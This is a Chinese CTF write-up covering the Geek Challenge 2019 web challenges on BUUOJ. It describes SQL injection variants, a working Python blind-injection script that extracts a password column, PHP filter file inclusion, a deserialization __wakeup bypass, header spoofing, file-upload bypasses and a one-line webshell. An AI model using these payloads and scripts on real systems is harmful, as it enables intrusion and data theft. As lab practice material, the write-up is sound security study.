zoukankan      html  css  js  c++  java
  • 2019极客大挑战

    [极客大挑战 2019]EasySQL

    用1’ 测试发现存在字符型注入

     

    首先尝试构造用万用密码登录

     

     得到flag

     

    [极客大挑战 2019]LoveSQL

     居然和 [极客大挑战 2019]EasySQL 一样,用万用密码进去了

    拿到 admin 和 password

     不过没用

    重新,简单测试后发现是字符型注入

    Order by 测字段

     (其他略)数据

    [极客大挑战 2019]BabySQL

     先用万用,发现不行,常规注入也发现不行,后来看了网上得wp才知道有双写注入

    在常规注入基础上对关键字符双写

    (其他略)数据

    [极客大挑战 2019]HardSQL

    上面的方法都不行,但是可以报错注入

    数值(字段拼接)

    [极客大挑战 2019]FinalSQL

    看提示是盲注的题目,但是不知道注入点,网上看了wp才知道id是注入点,而且 ^ 没被过滤

    然后自己尝试了一下盲注,发现不会,于是看看网上的注入方法

    发现还是搞不起来,脚本又不会写,于是看看网上的脚本

    附上从网上看到的1篇脚本(感觉自己技术还是烂的一批)

    import requests
    import time
    
    url = "http://f2240070-b31e-447d-91c5-3c2653b490a9.node3.buuoj.cn/search.php?"
    temp = {"id" : ""}
    column = ""
    for i in range(1,1000):
        time.sleep(0.06)
        low = 32
        high =128
        mid = (low+high)//2
        while(low<high):
            temp["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)
            r = requests.get(url,params=temp)
            print(low,high,mid,":")
            if "Click" in r.text:
                low = mid+1
            else:
                high = mid
            mid =(low+high)//2
        if(mid ==32 or mid ==127):
            break
        column +=chr(mid)
        print(column)
    
    
    print("flag=" ,column)

    [极客大挑战 2019]Havefun

    进界面没啥东西就看看源代码,找到

     构造,得到flag

    [极客大挑战 2019]Secret File

    看源码找到/Archive_room.php

    点击响应太快,就换bp抓包

    找到secr3t.php

    发现文件包含漏洞,采用php://filter(这里 input 和 data 被过滤) 伪协议

     

    Base64解密得flag

    [极客大挑战 2019]PHP

    看源码没东西,扫,得源码

     看着应该是反序列化

     看class.php

     

     如果 username=admin 并且 password=100 输出flag

    构造exp

    出错

     

     重来,__wakeup()需要绕过(当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。)

     

     把2改成3

    同时截断username 和 password(防止数据丢失)

     

    [极客大挑战 2019]Knife

     蚁剑连接得flag

    [极客大挑战 2019]Http

    看源码发现 Secret.php

     需要bp抓包

    伪造网址(referer)

     伪造浏览器(UA)

    伪造本地(X-Forwarded-For)得到 flag

     

    [极客大挑战 2019]BuyFlag

    查看源码发现

    首先password传输要是数字字符串但要等于404

    这样可以用 password = 404a  绕过(会把之后的a注释掉)

     Nember太长,从百度了解到老版本PHP不能输入8位字符,但strcmp可以用 [] 绕过

    于是

    [极客大挑战 2019]Upload

    看页面是文件上传,发现直接传输上传不了,bp截断并修改Content-Type

     

     不能php就修改成phtml

     

    加个GIF89a

    还是不行,那就用<script>

    成功上传蚁剑连接

    [极客大挑战 2019]RCE ME

    看源码

    知道要绕过,从网上看到了这个脚本(能异或2个ASCII字符变为新字符)

    def r_xor():
        for i in range(0,127):
            for j in range(0,127):
                result=i^j
                print("  "+chr(i)+" ASCII:"+str(i)+' <--xor--> '+chr(j)+" ASCII:"+str(j)+' == '+chr(result)+" ASCII:"+str(result))
    
    
    if __name__ == "__main__":
        r_xor()

    发现payload异或不了

    我又换了种思路,看到类似的取反,先用网上的payload看看phpinfo

    发现可以,于是想采用这种方法

    (看到了许多禁用函数)

    构造了一个一句话木马

     

    蚁剑连接

    要用到 绕过disable_functions插件

  • 相关阅读:
    Title
    Title
    JS淘宝小广告
    JS淘宝浏览商品
    JS隐藏显示图片
    JS图片轮播
    C#连接数据库的方法
    让$(window).scroll()监听事件只执行一次
    axios发delete请求,后台收不到参数;
    .gitignore规则简介
  • 原文地址:https://www.cnblogs.com/yanwusheng/p/13355658.html
Copyright © 2011-2022 走看看